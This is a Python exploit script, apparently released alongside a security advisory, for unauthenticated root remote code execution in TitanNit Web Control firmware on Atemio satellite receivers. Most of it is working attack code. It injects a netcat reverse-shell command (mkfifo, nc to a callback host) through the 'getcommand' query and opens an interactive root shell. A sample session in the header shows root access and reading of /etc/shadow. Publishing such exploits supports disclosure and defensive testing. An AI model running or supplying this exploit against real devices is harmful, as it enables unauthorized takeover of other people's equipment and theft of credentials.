#!/usr/bin/env python # -*- coding: utf-8 -*- # # # TitanNit Web Control 2.01 / Atemio 7600 Root Remote Code Execution # # # Vendor: AAF Digital HD Forum | Atelmo GmbH # Product web page: http://www.aaf-digital.info | https://www.atemio.de # Affected version: Firmware <=2.01 # # Summary: The Atemio AM 520 HD Full HD satellite receiver enables the # reception of digital satellite programs in overwhelming image quality # in both SD and HD ranges. In addition to numerous connections, the small # all-rounder offers a variety of plugins that can be easily installed # thanks to the large flash memory. The TitanNit Linux software used combines # the advantages of the existing E2 and Neutrino systems and is therefore # fast, stable and adaptable. # # Desc: The vulnerability in the device enables an unauthorized attacker # to execute system commands with elevated privileges. This exploit is # facilitated through the use of the 'getcommand' query within the application, # allowing the attacker to gain root access. # # ======================================================================== # _# python titannnit_rce.py 192.168.1.13:20000 192.168.1.8 9999 # [*] Starting callback listener child thread # [*] Listening on port 9999 # [*] Generating callback payload # [*] Calling # [*] Callback waiting: 3s # [*] ('192.168.1.13', 40943) called back # [*] Rootshell session opened # sh: cannot set terminal process group (1134): Inappropriate ioctl for device # sh: no job control in this shell # sh-5.1# id # <-sh-5.1# id # uid=0(root) gid=0(root) # sh-5.1# cat /etc/shadow | grep root # <-sh-5.1# cat /etc/shadow | grep root # root:$6$TAdBGj2mY***:18729:0:99999:7::: # sh-5.1# exit # [*] OK, bye! # # _# # ======================================================================= # # Tested on: GNU/Linux 2.6.32.71 (STMicroelectronics) # GNU/Linux 3.14-1.17 (armv7l) # GNU/Linux 3.14.2 (mips) # ATEMIO M46506 revision 990 # Atemio 7600 HD STB # CPU STx7105 Mboard # titan web server # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2023-5801 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5801.php # # # 16.11.2023 # from time import sleep import threading import requests import socket import sys class RemoteControl: def __init__(self): self.timeout = 10 self.target = None self.callback = None self.cstop = threading.Event() self.path = "/query?getcommand=&cmd=" self.lport = None self.cmd = None def beacon(self): self.cmd = "mkfifo /tmp/j;cat /tmp/j|sh -i 2>&1|nc " self.cmd += self.callback + " " self.cmd += str(self.lport) + " " self.cmd += ">/tmp/j" self.path += self.cmd r = requests.get(self.target + self.path) def slusaj(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", self.lport)) s.listen(1) print("[*] Listening on port " + str(self.lport)) sleep(1) try: conn, addr = s.accept() print("\n[*]", addr, "called back") print("[*] Rootshell session opened") self.cstop.set() except socket.timeout: print("[-] Call return timeout\n[!] Check your ports") conn.close() while True: try: odg = conn.recv(999999).decode() sys.stdout.write(odg) command = input() command += "\n" if "exit" in command: exit(-17) conn.send(command.encode()) sleep(0.5) sys.stdout.write("<-" + odg.split("\n")[-1]) except: print("[*] OK, bye!") exit(-1) s.close() def tajmer(self): for z in range(self.timeout, 0, -1): poraka = f"[*] Callback waiting: {z}s" print(poraka, end='', flush=True) sys.stdout.flush() sleep(1) if self.cstop.is_set(): break print(' ' * len(poraka), end='\r') if not self.cstop.is_set(): print("[-] Call return timeout\n[!] Check your ports") exit(0) else: print(end=' ') def thricer(self): print("[*] Starting callback listener child thread") plet1 = threading.Thread(name="ZSL", target=self.slusaj) plet1.start() sleep(1) print("[*] Generating callback payload") sleep(1) print("[*] Calling") plet2 = threading.Thread(name="ZSL", target=self.tajmer) plet2.start() self.beacon() plet1.join() plet2.join() def howto(self): if len(sys.argv) != 4: self.usage() else: self.target = sys.argv[1] self.callback = sys.argv[2] self.lport = int(sys.argv[3]) if not self.target.startswith("http"): self.target = "http://{}".format(self.target) def dostabesemolk(self): naslov = """ o===--------------------------------------===o | | | TitanNit Web Control Remote Code Execution | | ZSL-2023-5801 | | | o===--------------------------------------===o || || || || || || || || L! /_) / /L _______________________/ (__) _______________________ (__) \_(__) || || || || || || """ print(naslov) def usage(self): self.dostabesemolk() print("Usage: ./titan.py ") print("Example: ./titan.py 192.168.1.13:20000 192.168.1.8 9999") exit(0) def main(self): self.howto() self.thricer() if __name__ == '__main__': RemoteControl().main()